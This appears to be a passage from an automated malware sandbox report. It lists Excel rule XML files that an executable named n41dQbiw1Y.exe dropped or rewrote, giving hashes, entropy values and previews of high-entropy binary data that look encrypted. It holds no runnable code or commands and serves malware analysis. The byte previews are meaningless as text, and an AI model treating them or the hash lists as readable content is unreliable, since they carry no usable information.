Preview:	<?xml.A.o.).:DfcFUi>..D.T......1...qE..2>.K...H....T/.d9Gx.6.&..kJ.1.b..-.c.+7.:..HQ\.,...?u.`..E%........]..G..H.........($..u..WE\.......-)...mm~.s.8.&..}j8ad.d1H...N.A.CMiU\..#..:dz!ir........X..;...;E9;.dD.....r.T].U*..Z.xz...!.K.G.>......9..P....uC..bY...m.....u.}..`]^......MI.ALD%..C..#..'..4.....I..Vrx.....u.{M.B......3..rZ.T...%4\|....`.......9..D..a...1..@iUp.$$......J..+O.Ez$...F..v....c..Z.$l. ..@.Xj".......e..P{j.r.o....?...,.{c...9q...C.".=..g..../.%IZ.....}<.l..,..lp.].......1.......[!7.[...r...o!O.<C..1y.8@.SH'NO.......Q.^....UZ.l.....j.s....&.....].O.....zH...go..g^..8..(p..G$y.F........r.......B...s;51.:.n...c..7(....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65138v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	7.8538721221698395
Encrypted:	false
SSDEEP:	24:ewooSm5BnqKpMvT4xlMiKqVEYPQKp+YHyb5wO0yBj1bD:eF4JY0jMinVB7UYHyB0ajlD
MD5:	9A397B0E818D50449BB7747BF40CCF92
SHA1:	F67A6A5ED1E0CA2354342B7CD57ABCD115876F86
SHA-256:	0A68CBD93EAA7B84C2B665C06E15AEB03EC6F9DBA7CE0D92725A50333618D8AD
SHA-512:	6DBF2A5E87AD63FB96F967106883C9BCE8F65ED1698190FF54D6CFC020F432582318BD9721C3028FD676FD1E355C9501C0448EC67989D77437B45A5A412D67F0
Malicious:	false
Preview:	<?xml~.\|.z.}.^T@.4./.I..I.....C.Wp.]M.2q[......}K.>.;\/.(u.4j..1....f.}.i....\|.._..+!.>..t.....y.,../..a..+.e...I.W"...n.{..x.Z.w1..@.q..j2....U.-..A.Z.(..<k.2/.8.O..l.....0.......1..bF....(..u.M.y.~.;.r.O......Y.3...r^G.....].......=.!....Y... ...z..A&..X.......r...I.!....8.'%w..`..e1r...:=Dv.#.....z...}..RZ.....R.w..Ura.K.K..x...T.t.nj2...A@.@v.o;.......E..4&.4f..."_...(....).Hm#..^..JFW.._...I5....Z7.).u...".....`=...x.O........-.=L...^.n+.O........{.[..n?Q.@.S.DF..........#..s......G...Q.......-..R...P....7n...^}O.R.F.=!.h..#?...P!...c.C.......).T].P;O....s.t....#..g..{Z...D..LY......>.6.OCJ.4.y.<m.J..5..T.=\....!.~mv...a=%.3........O...f}.:.#x...0.!!AE.8......`2..%..>..i.Z..AH...:C....AR).\|.k........!..p\n....,].j..w..?$..v.....E.Z5?....c....?.".......,jf.>..v......=C.5....ih.{.7EK.n..`...C7r..3...:.. ...~.......y..#.q..@.(^.G.k..l..t..+./..l.o..4...]e....5....eH.x..<........W..[S.Dc.X$.h.o............l.}%8.g...X.s...z.f....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65139v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	8095
Entropy (8bit):	7.977322644478867
Encrypted:	false
SSDEEP:	192:8Q1xnhDfw0Ux/WRWSKmYvrkxPkfvrdKVtXq4ebB71ANRVRcjnjl:Hn1fwdqWwWkyHUf64ORAD4jnjl
MD5:	9BF53BBA5DCBBD62AF0AD0CBFBEF37ED
SHA1:	E4CA29B749E5517F9F5CFFF28C27AB1E855B1C2E
SHA-256:	3C1F628B9E21A84198A49506B324410F6D836A72942430259B8FC06000D59C60
SHA-512:	9D35A55ABB34D3D9689159976922B838A379E530F1AF943E234CDB02FE9EC171A8B85B3722F49E8B76CAE0390BFA78BE0B8D29E0CDF65592D062875D040D4819
Malicious:	false
Preview:	<?xml'.D.hNQ. .._?.B.q......[.J.._p.`4...9.uV/@..&f.@...).\3....4....I..s..'.;.F...,.N.$W...6q3.A..P-...'...n..bF...P`....F...W........"-O.....V....C..TM..oK..#u.[...f..W..$-6?..x....).}.z.c...].U.m...sQ\b.......R.u'.':..+.z..Q.k...a.7Y.P.C.m.+....E..}.t\.w...v..b..rD...n..dJ!.4.vi..{..X\oQM..T.O.....dm.>..!q.#.l\.O....1...f.1..V)..{.`.t=...C.(..#@dUr..@.(.B.).Q..h:xe...t........\m.`..G.GP....Z.......>..f..KYi.?..4..J.I;.....+.<..H..Hr.......H.*.7.f..@.....3..n.[.............K..tn.r.y.C.6.[z...&l...`r...+vJT.yr....kZ.....&.?;q>g.C..h..z....<XZ..i.c.........hu...k.z..U.....F..P.....^...S.....$....S....S...kJ7U...<...P...>x..WCR.v...<T.<..t...Q>..O.r."E.(Gs..iu....].,......W...P.M!..g..Z...kN.....;......t.i.2.z.6.>]...D...8....I...y..D#.=..B....o!.Z...D..iV.&...a^.ZW@l.L/...y....s.........U..~..!p`....../."..n$[.F.a.;p.ZS...{.... \|Z<....? ..-..Y?....4.........2.......!.\|. '.?..b..oTd.#h.N;W.T.....Z9.}H...k....v..`K..a2,N...........F...I].

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68000v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1047
Entropy (8bit):	7.770571216475779
Encrypted:	false
SSDEEP:	24:zu4hRGu1mNx6W8e1dnBFhfwWQAc9YLloROi6g524fPTL1fr0bD:6yRGu1kMAxJVvc9YLloR+8P9TeD
MD5:	F85A9EB73C8AF4911FC52FAC513F2CC8
SHA1:	103035B79026ADF7D97927F275F2BA847EF5D637
SHA-256:	EA8B1856F189246B611AABC28A56A4798CE27F13D0D10AD9999F92A61EF6162B
SHA-512:	AC759377691F7B093095CF810F95BB4DEC849B876340998FB043464BC96F2F1FC781F810930F9F1A92A09709DFB9CC762592D4D1709AC470481D12753EE99086
Malicious:	false
Preview:	<?xmlH/.....m.n(M..gk.......O..K@@.).....I...>BL..&.;l{..........7.S.....%......d....xy....C...B.!......a..<.H"./JQ.>'=.]E.Y,}R..o.Bc..p..5a....?D......../~..a..e.@/..y;'@.j[p../T.P..4.PG.eHNe. O........b......S.q.+.#q.Dbjn....WE.).qL......u#yZe..\..R...lk.?X.%.l......X:..x5)=.+.\|.j..R58.n.a~+e..#ly...^.U-[.K........W.G..1...b0x...A......+.....(}....n.0.s.@(V....... ...!.;....!#fp.....&.9.k....- ...f...S\|-....<..~VC.=&S..ax%0....V.Eg1^.p1b....p..7 p.... .0..ZE../\|P.Z....T.u"..Sbp..,..2..L..W!&...\K.2......)...F.LH.dXLyL+.Y1#}.....C.>..TX.V.[.....}.:Sd.a.7D:.........F..7/^"_.....&^..b..V.u ....Z..;.sR.C.Z.Y.!.......K....G...)S..L..p.....z.L....2U......=...._....<d....v...<..z.M.^.B'.....={.K6......P...</..U..}.8..!J.X.It.i}L....=..S+.2.U..{_.r.8.p8.D[I...h.+..c.f...\|.p.{z.S.<...IZ5.....o.....ERS..qa.....e..r2....R...u...*Fm...M!....i...S..J...D...!....L....'7j.@......o..5.}...-..<v2#.`..tG.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68001v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	7.8019624132865815
Encrypted:	false
SSDEEP:	24:UcoCJzhmodHm74SxJsgUN2PNiSxIW8DTDAA8CKvbD:UTC+0HhSxJs3vSEDA1D
MD5:	EC63433B1F6E233DE711F58BCBB10F7B
SHA1:	292F2BAD0A0C20BAC6FF5A49EE2F5067813E060E
SHA-256:	0C19A9A965EE9C69D18EE3ED60E7D921BD0422C2356B5C0EBBF2CC0AA835DD1C
SHA-512:	F3BBC7FBD9B417A13F5A9CF5678E956EAAF5D3DE6819B9A0CC3AEA4EAB669DD9EB4D44686622B376C28367ADBDD8949A5E4B0D493EDA3CFBE56954989968EE9E
Malicious:	false
Preview:	<?xml...7+..y.?...}..A/....9.K.f.... J.]3.%.Z.A..bo!.G..:..p6..{h...xF...&....%'..N.w;l...So".1..`..`S...%.4.J.g}.O..{P.2.!..L..@w\|.:.O".>...b....Iw:.....m.aL...:!.......-G.(.v....7maN.$!d...2...P.bX.:O....e&x.Er..@...CG.8..^B...'o.D.z.7...37y=..Zu.9.GA.F...zO...0.b...z..H...yJb..0...........gr....:~..s...5S-_...6.t.@....,.....qs....!.!..:.Z.$.............An4n....?.h...s....a.k&!...Xp..R..Md.U:..2.1.i.u}o....z.,..z]..+E....,0. N.9..=n....Y...L.....52.j..xr.S........ct...............U;;^..^qD.:....b./.e=.Y.u.........+R.QP4H...u...^..3.-...U.[...<Zo.,......Q..t....~\|'...Ma....r..N+.....[.4}WT~{(.Y.WPn...g....,.....`.....u....4.=wM6("nl#.....#...<....f.sB.N.9..K.t.E...I.:...(}...W..+...I==.W..5Bc3...4.......,.........Xb.....^..v^C..".q....,P..:....gy..7;.h....~7.V.e.r0....p..Q..b".`y.L^Qg..E.)t.......S..&..\.c....P..`*h.6I.....0?.f.2Y.1......R....tS......J.y.0.D...wTGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68002v11.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	7.935598109974234
Encrypted:	false
SSDEEP:	48:fDhmoZ+KUYNoX76u0xNCE4CxWry72dqJdLZ9SVaGMI+BHT7qdZYA8K+XWl8P1QQr:LhmYNor6usNCE4CxOUJdLZwVaG8BHTWs
MD5:	999298242F6AFACC39444AA6CA0B2696
SHA1:	4F1D8B04E8146E960B933F52E53138A6D634899D
SHA-256:	10B5371EE82C66876B46450E570908B654E7552B8B6F21E8D2E3FA95C55AFD2D
SHA-512:	9AA25B7C3CF456AB544DDAAD0D622695F8ED8A09409A4BF3E4930B0348D4AA2B499A5E3E67D934FF7979D7A6E2492F198AD44710EF766FDD46C6165CE0FACDE4
Malicious:	false
Preview:	<?xml.g.........(......Y....d..........k.I.........E....OQV.@.A.....I,..I{...u...+x....."~...<....:gn.P..q..pg.......X...._..<.....9.x...qk9.5.l@n...L.W7W....^...o..L..{.0\|C....iB.:.J.7..n.... .....7..9.no.3...-....6I.......p..O..Q.q...Ee.".?....pxv....h..T....&F}bb.hA....y.@%.n9.........YD.K.Q...\|.D....$.f_..._.`.zJ..._...C-.^.../u.lw....\.Z....A6.......?dgK.C.JFn6..C=.Pd.8!....EN.d.....)M.I\.(f..m&\...b.....G...)..$P1..2b.u..,..38..1ir..V.6.{t?A.K....d&..xJD......yM..rV($.9...,.?....Y..W?...Sd.H....n..n..3..p.8....Z.......JkI..,.;?...G`.R..L..C..w.....8..5....<8.......&.d...V..hp.k.n(..W/.>rWv..)F..oF.D.9yj..!....F.O...`..C..:D.z.nm".....nr.@v2U.. x....Iri..8...y)...b.......o#..%W\|@...... Gs.....1.\B.)..0k.1.m...>zt.V..Y6t..brW....h.^.....}A.......nh....H.y...6..y.qSa...S.A...qc.....\|._.~V._...wT.{~=....obB.1.p.^.nK..~.<......K....2...........Y...a.C5..".C..cNS..j.T?........;.Z...d'.....VD.W7M..7..67.wqj.g/..;g".C..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68003v12.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	7.936833098898284
Encrypted:	false
SSDEEP:	48:ti/en2hLq7M2ASTNpkedc2MRxQVbCUjtbokRnHjWwFM9R+k49SJED:uen2hLqlERxuCUj9ZF+kkQSe
MD5:	2875E21C11A64DF4493CD98FF1A80322
SHA1:	BA32252F150E563365709DEC7CE844660BA30D54
SHA-256:	EEB566AAD1C906245177206E7B16A7C3B33A38675E5539F0AC7789D543D9922C
SHA-512:	36C588490D43D96EBA14767AD648A1ED02433657846B6889D4CC114B92C5FC710ACFA560F1A558480B2B6F588D5623CD71EA66672ECC9E750B6C2A2D18725F51
Malicious:	false
Preview:	<?xml.u..).WlG...'..PM.....LEQ.:...T.W...................".9...@.g...=..B.\|.}H....4.....H.....Y..~.!W..G...D.w..5.?A..)...u..8V...o..v...%.$.@.y.T..3R......L.gi...}.;5.V.>.7z/...e".qA`..wa%\e!(...}.....;\2eLi...c..p..D,...`.\Fv&.".h..J5:.P....+b=#H-..A.8....5..3[~C.h.`..8.D.ke..,....._....#.g....^.c...Y.0.'.2........K..g.~...D".1.?...+J.q....^..L..z5]w......\|....;\Jf..4...b.....v.R.d...&r...0....A$-..[...:vw..S.zMl.[53;?!F%..N_UKG.O.Q.Ff9.}.@.../...:.rr26..g#...0.G".\.$.....f....RA..u..`..Tb...H....m.M.....w..^..%q.F...(..z..e.$F..........K5.......t^....e..>:sd..58?M...(.!M..3(g0..[f-....u...D7.:.......8.A..~....N.[^Gvai.?..&..W.....T%....?...1......fY0Sl..i.F..TdS..3.\.c..E_pn.....u.eO......P...a.&...[P!:l.p...w..;.....i.3...b.0..\|..[.........._.{.W................a..".?...=...Z.m).X...K..n"...6...q.XH..G..$j.&b.D.....@..........->./..).u........lq.....L.I.MT..=...T.\SGs.....L.l1..F..{......KS5....].MUp\|...&.c Wo.TA.Bw..,...]._a.+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68004v16.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2762
Entropy (8bit):	7.928878931899725
Encrypted:	false
SSDEEP:	48:LzEasGiUw5zRrNn+/gHLzVUEo9w8XPMVZxl5Yo4LmyRfFchP1D:LYaAJrNn+/YLzOEdbbUo4Lmmg1
MD5:	103F496F9C4257ECABCDD121DD3EF302
SHA1:	B6D2FA656CB90F78B4C353FD65E01A0AB40F607A
SHA-256:	F80C2677A3EF778A3F2DC5A7D292B8F80A57A09A43C6263530EDC2BDEC9BC7AB
SHA-512:	15687955B25BE2C4D3D788DAB61DE313AB9170446BA44CEFD9B42C20142666F6BAB0B5CF0BE98CEC2CC8BDEFA48053CD672BD72B956AFD4019EFAA7F0FEE9F71
Malicious:	false
Preview:	<?xml..-....C%.._).5d..v..Z1...J..U9...G..8......X[8.....'. ..,"......M...\f.o.).....L.}?.\...:.....Q.k..:\.3`.C.:....[.....<)U2.Q..w..W.....T.GT..t.q.....sD..._..uY=..JN8?Y.x..+........3.R.>P=.>.....1.y.SZ5.G.j.....0.MOEA^.h.......z........<...{..8.?.,i...k<...j.1.~...v....m......P....bBv..q..yQ....cR.n.<.......X.(..b..C...}.@..g..(...i...M.w]X.eZ....x..).....0.N..I<,Q\..eX.}...S....0?.'z..\|...<...O.t.v.G.cB...8.P..gG.Q....M.."...=@.........o..<m.d...[o....o6#Lb.7.h..l..0+W.\.5^.....Q?x...(.z.....H..h...Gj~{p...:=.&..i.....v..{qiu>.......YCI?..X*CM..PnL...3...c.s.....?...%Q#C...;....w...4....J...Q....g.oV..<....qc...tr.....;...?`.....I.Y).`..9z.....)...k0..(W..r]..../H..73E&.N.b.7WC(..~HV.TZ....ML....g.....PN/U.).s9..c.. .[.f.&..F.R.u"....,.KUj.=#. p..:gB9..,C..Z.~.[.S."..y....$h[....Y.4S.....Z -.2..u.q.=.:.Fe.cR.L.)2.%=.t.......C..!...{.......r.?Xt1.pMV.k.=!...<..v2z...n.........O.w.t..^.}+..@l\8....gSw.N.s!9.64Kfq.C#...(v.:8..\.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68006v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	7.739928417109479
Encrypted:	false
SSDEEP:	24:YyBZmS/VS1pYptVWsscTqNERYokotYIAbD:YomS/c3YpH0cTqMkoKD
MD5:	CE19917167AA5759FB822607D4247D03
SHA1:	5CBA5388A101C9F8BD999A25C930E49BB7C8933C
SHA-256:	0BCEBA2E37301ADE5BD62BEB24E5F01153C92EC64ABB342E09EF69246FC7FC14
SHA-512:	469814DFD1DCCDB9825E469A18AE403A571D726ED30A867858A451D2E05E41F5199E062578465F92F12787AB7407A33FE053762B9B7E610361E44A01F0C6F955
Malicious:	false
Preview:	<?xml.5.f...'.Y3..Z2..%=nA..V...D(Bh.q\|.."....7.C.yi........pj.T/.HJ....+..1.r.cMS..>.p....3..l.l..&.vF.$..=..y.L.H3$.Li...f.z...\..W..s...u..y.=.S...p7=g`..1R.K....-CW.s.n..c...'...<.u.....+a./..3.O.@.$k..5.\>.:.....J..yFr.....;m...I.?:.dC....N....8...Q.........lv,..ZO.e.H.4...n..qQ...U..>zK..`..o..)...B...[..2>!F..T..R._J..+.ed.#..........a..E.DV......J.5....r7..`..Vr..2^.....`Y.Zm;-We....Xn..[..".q.N^;)H}....6..8.~....e..W!...U...z...m.c8.bG..Y.&.V......cF.....q9....0B..\.K(.O".....?......h.....x....%0.....o.[....Ah.,Z........%...,...7vb..f{>...x..HRj3)..!.K5.X.j....#.a.%..[W...^.T"...78..k.!..A.o.v.R..){~.f.A....u..q.....F.<...uI+..rH=..X9...m.u9.....5g#......8..b.#.v...arb.?....80?:.[..r8GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68008v4.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1010
Entropy (8bit):	7.813334854409638
Encrypted:	false
SSDEEP:	24:stTxKH0hjzOAktBScgi1o6/05RvfddfPBu4VbD:GuAsGXfdFBu4FD
MD5:	F80C64500538F91DEBEBE2DC15C4FB4E
SHA1:	3777BF4D9769DF44433DD14D34152A0BB6720299
SHA-256:	A8B82859F583F02BEFAE9075848BED610DB4311183086F64766D4E7EC55D729B
SHA-512:	8694FC50354B33A82AB9E3B493C04DAA83088735698AF0DBB81AC0FB4E2CABC714F2AB522F405DE31E38AB4473F43B54A71BFAC26FF5A5B52A704C8F54EFAFF2
Malicious:	false
Preview:	<?xml......d...D..t.X..6.@L.....v.....mY..K..#.i..eOmi0...O....\nu. _........._A.........7W...5..= .!L...I...z.le..IUG..c(}.m....K...,c....0....U.....@..9u.>........;.)7Xa..)..W....0.h..A..$...(Dq..}.\....P"....W.i.....h........./pj...s.K.........A.r..W....p.....>f.\|..."......qg.-X..........@@..P.f;rF(..S..... ).2.B.'...O..J.......p' .W$..9qs.{.s....8...8..\|...p..P...ZnP......b.OQ.......P....{`....dY...1s.J..6.C`.;.U..Y..%CM..0..O.......>.....78\$Z...p9.+.^\.h..C$.j./.(...G.G.....k-.E..2w.f...MHG0..}~............N..6.6..=.......tIt_.%/vSB..s+..e.z...&R.].........syg.........v.,.7......f...x.TCD%W.j5D......rD....+>..lT)....Id.-.d...S.....0..O...Sk.....Cu{}.\..@_L...T....2...s.j..B...(?nX....B...#.ag...V[c..K(\..iJ..k........_.KD..g./.~B.O....Yw..F`..C.n...<.n.D".....C'C`....A...{Bx,.C1:.f.E.9.".Rg.9^.(..\.S...<..D./h...X\.b..2&....Hu<....<...R]..=/...S$O.>..j.6.z.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68009v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1380
Entropy (8bit):	7.861777764665568
Encrypted:	false
SSDEEP:	24:B2DgJemq0c4hoQM5AnvLJx4TMPmBosJKWj7gHpznnK0K6WBqLKWjPuUu1g2qt1bX:WgoD03FMyvlxBeu/pznK50LjuN1g2C1L
MD5:	D8FC762BA3A629FCA4DE47C25B5360AA
SHA1:	7724C4B21E8450BDFB21CD5DEC35D07923A11ECE
SHA-256:	EA2692C608E2C1273CFE6AFFA593028DFCDFCB721A4DA33B9D932B86EC0F3917
SHA-512:	73A6B51CE17267CD0727A8B253D73BFF5449913EFCEB3425EB8175CA5EB2C1B718EEB86A434E5566973F6D14E6429B8FEDEA06B0E98804C2AD79CD96D3EEA254
Malicious:	false
Preview:	<?xml.&.S..).....m.,>...j....p...@{>..5..8.&\v....".:d..(..=qu..r.....b:f....1.U';~.(6. ...@q.ZA.\..?z7\|......L..k.Z.-.......P.s.N;....L....\|Z..cQy.9l8.i..f...7.&.f.nv_L.zQ9.......o.^........../%.`.=;.y.M....Re{I..jO.N.B.~'.%.v.%..W.L.......>.@4..(.X..........>....o._.......bn.2c".UK.n.G fB....q...b.....!..)...IR}.'..!>.[....#....k".c.0...B..... .....0..!..h.A.R1\.....^.24...9.`....a.>...!....h;m..AQ.~..!.V......{.O.9..j.4..H.xYT.....4H..[.Qh.l!zM..,.N..yu......C?..Qh2.:D.2.............j.s.Zd.0....9......%.g..$e..o..V.....\O.0..N..]....@..#.......R)A..w..7.qT.Y.~........0D^...gp.Iah...>..x....k..d>X.'w.G.YB....{.3...\|..'.I...e@.@@q..I...C.GXUG.\|..`..b.I..k.0W.\|.Z...9.`........u.9..z........k{..S.....P.&`.2.FW...:.....FMz.PQ..r<.b.....m^..e..,u...0A.....){T....]5.....v...\.Z ....vZ..6.P%......)j..-...t..._J6.<.j.w....:...Wv`..!.f......(....I..G..~.]..F......L...S..O.h.....\f.5..tz..@.nv.~+...(..n..\...p..t.............(.2.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68010v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1614
Entropy (8bit):	7.847248795938994
Encrypted:	false
SSDEEP:	24:YQPIzXM7QHggFtMcgxofOnh3r0G0nlIufJK9aFPq9pIbwccFan30MKRuImi31fyX:CcGggkto2hbynmALcFan3fI13FgD
MD5:	BAF74E918B81561FF76DBE867393049C
SHA1:	83722C50ED306CBC61C6C6790C673562ADD46A76
SHA-256:	F4002F593FE90221E4671945FB5D019E6362825105BF4CD8C23F72D10D06F6E9
SHA-512:	6430BAA85D49217230B84887F861B8F6158C4279E6BBA9C01D9F7F5F15FC437892A9B8E25897C8019FBC6BDAE8ED499AB4E3E7FABC1D8D64167E9EF733CF8EE8
Malicious:	false
Preview:	<?xml%p....?....~g6...w.t4Qm.m..=._.)...7.........".F+\|...k..L!.D.../.....0..(...V...l...\|1..SV.M.r2."..%...{`.#,..4.F.p\|..%....C6`...5.R..q5g....wz..].Q9,..~.<......x..73..w.....0]t...841.E....bKM.1.).kU.2Ak..P>+.N..i..... .222k..%L..P..d.Ql...@..[j.....k(T...^...g.n....`x...;.Y+~zir?a................(....wx..-_.`<.o.6.6............6....&..B.....?-..8.d3/w........i\|..8...g...e...O..O=....U@.(d..k.~h..r..c.&.f...r+.."N.<.GF......!.3...6....bgV.~>..`..........L.Z?...%.D..h...0..%6.e....fi..U.L.T..b..6q....._w..@,.W... .....a.eU.X..j..e........n..g.w.h{..l..Y.MH.3{/.0.`....P2.#..!...U.c..H..z....!R.Lw..A{..yG........\...........cr:TI....Z..[{W..R.u)y]Jf.....8.[+.._.#7..A..A.t.".tjs..r0...`..R.4:..>^v....6U...<LW,p...4%x...../(......g..I..@x........ir.3...u7.=.:}5....!..&.ft......A..7.....0.!H......G.,M....H.&xq.i..dK..%w..1[.{...b.N~..Ay....D.c..<E.V..(...}..d..uL.....&....u+"x....m......CJ.7.....gma.aF+.w....,.H........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68011v4.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2753
Entropy (8bit):	7.926896384920509
Encrypted:	false
SSDEEP:	48:2R4JsdIniDBZCEegVD/0/fIWmiRho8J6I0uR+2/fXzLoR7uokceIi9D:2R4KawAZg2/fWiRho8IuEUQjeTF
MD5:	3B147B27AC06F0E4EB0414C009488808
SHA1:	759E3C43952D7EC08AAC80D64835E3DFCF0F66C1
SHA-256:	A4C43762F7A3C13AC3B7F2E38FB68E18613319B5459856B6C831A015051EAB57
SHA-512:	4BBE7085CD3F2647B1FCF536C549BEBE70305CCBC1F451E22A3CBBB9533DCADF9932DE6FE1CC67F7935C8CA826649F9B947E9F338AAE3E064053ED8C7E14F798
Malicious:	false
Preview:	<?xml.}.zj."..R2..x.....g..H=......$ZiI..._...G.7x-L.......CR...n..d..8o.#....s.".o.Y7oh..c.~hJ...%.6......8..^.V.\|...=.;.].~.......).M.........X........^.M....D..K.../m.4.n.....^..L..z5..../Q.W..V.C...N.?........./kn<..]..Cy.......M.e......Q.t'v.....O...i..5...NUx]M....\|..Ao.@u......1\|i..2..kg.\b.Q....[.PzBj.O..\|.......S......k.NC...J.w..CP.>..Kh..I:=.......8.j.o..0..x.cB...s.......c%.$M%..C.M..K.d....a....x.......x..R...S.U....Yo^]...<.;...2._...~.."F.......bl.Q.>).'..JB}..c......+...._&...a.....6..E.DN.5]..0".p.h._...._....t....rJ...a..5.....va;.NH.S...HE.%.Z..-...U.Y.....?m.....Tt...W...&Q.7.Xf.-..,...._..&.0.....Ao.....K.D......f..u...'......3..9.%...B}..#..z..X...hX.t-.:...=.z{Wc.....>..rn..c...g$A1.....U..K.f..ZZ...!.d/.Yq..nb...).,~..4j...H..">=o...N.V3.Z.=s....P.\A....cT*....b.)....$..nA...I.......A.>\g.(N..............z.. .{..;..<=...C..%..BAT...f<nA#.C.E.{....2Mvq..i .H../...g.h..<&.#............/.@..N...Y...."m$..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68012v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	7.877761341681859
Encrypted:	false
SSDEEP:	48:/cp+7Go3UwVB8oRRPUbC7LNjCOdfMPRzjqNJQ+wWD:/cpxo3Uw7DRR24LkOFKR6pwO
MD5:	513857331B9CE0511615C03A2F869DCC
SHA1:	E0E9DD03D93C72B4FB36B4C1713EF5DF206E8C84
SHA-256:	0B15CB149DE27C44F50A9572627B8EDCA8D50C3C90DA6187F78152711D07A00E
SHA-512:	B332EDDD5DFEA3BC1394E3D2139C6E527B31AE02ADB8DB2A3C21D9C550841773E590014D0A129B251C46A5CB88F514162BB80286E2E6EFCB47AEA8D209003F7A
Malicious:	false
Preview:	<?xml....O..C...."..&~.1.........\|..........^hmpWUa,.cN.M...r....O(..L"..;..F...hH..?.d.....,..#...{o..B. 5..>;. .....W.!.'..~..< ..:._.T..[...".G.ks...,...D.i..............n\|...%..n.c.......M....X#]V../JMD..V.U..q8.....Y.2...r=.q.....Z...........s.\(..-.G.! ..S.\q....p\lk.L..Dj.....A...O..;...e2......@..s.$...6x...r...i..".b.~...(.....>/.....4p.w..T.j%..Q@...jv.........'{..K...d}..?.@.....Fg._...u...6..D...,4u.b...4.P.%...HS...=tz.LB...?x...Nr..e....8.......Y..e.V.{8...2.>F."....P.....F..........1IT(.....r.k..b:l.<..u../>.8... 9B..M.J...(...\.F.S.~7Z[..e....P..t-b\|%,lQ..&].....1y.U......].u9..(.%Tl.$.(......C.Ho.5@.?^$<Y..~. 8&..o..p..un.I.H.A.f.za+...\|.gA\$Q^I8...#=...~....P.(.......Y...8..N....g...l..N.......3....?!6L.I......F>$...Mc.^....b.%Yx.N......Z?..z...G^.@.g.../..r.......V..R1.80,.V..:8...o.Wz.._..Df.Ao. ..1..c..~..:hW..}9.. .._(........L.........?.t...&.'...SX.........\6.Z...'t@.I..b..}.;B..<..5.\R0..WJ.M..X.oj%....5......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68013v9.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	7.921702877630552
Encrypted:	false
SSDEEP:	48:g+2v/wbk0Hb2H5CwenGnaIirPaweLcGHaiuiqLcWDalU43rBYRqD:gnoI0Hb2ZRe2PirreLcG6Hxcual13rBV
MD5:	A21C7BEE1C780C5EED2A60D05A638F7F
SHA1:	6F8BEB27E47E6D8881FB4FA300FAF1DD5C817B72
SHA-256:	FF3FE42130A56C795321990674B2EA78202E1E58B897ED6C8F1CA4EEF630B99D
SHA-512:	4F52D3FF1B3D7BCB7D7A53D1AAFA3D8CDEB320C37F1BDD39B99AA5E6306F1F17E0248F460B94B72CEDBB9461F9F90039C489A9746BC941FBDC83BF328FCBD3E3
Malicious:	false
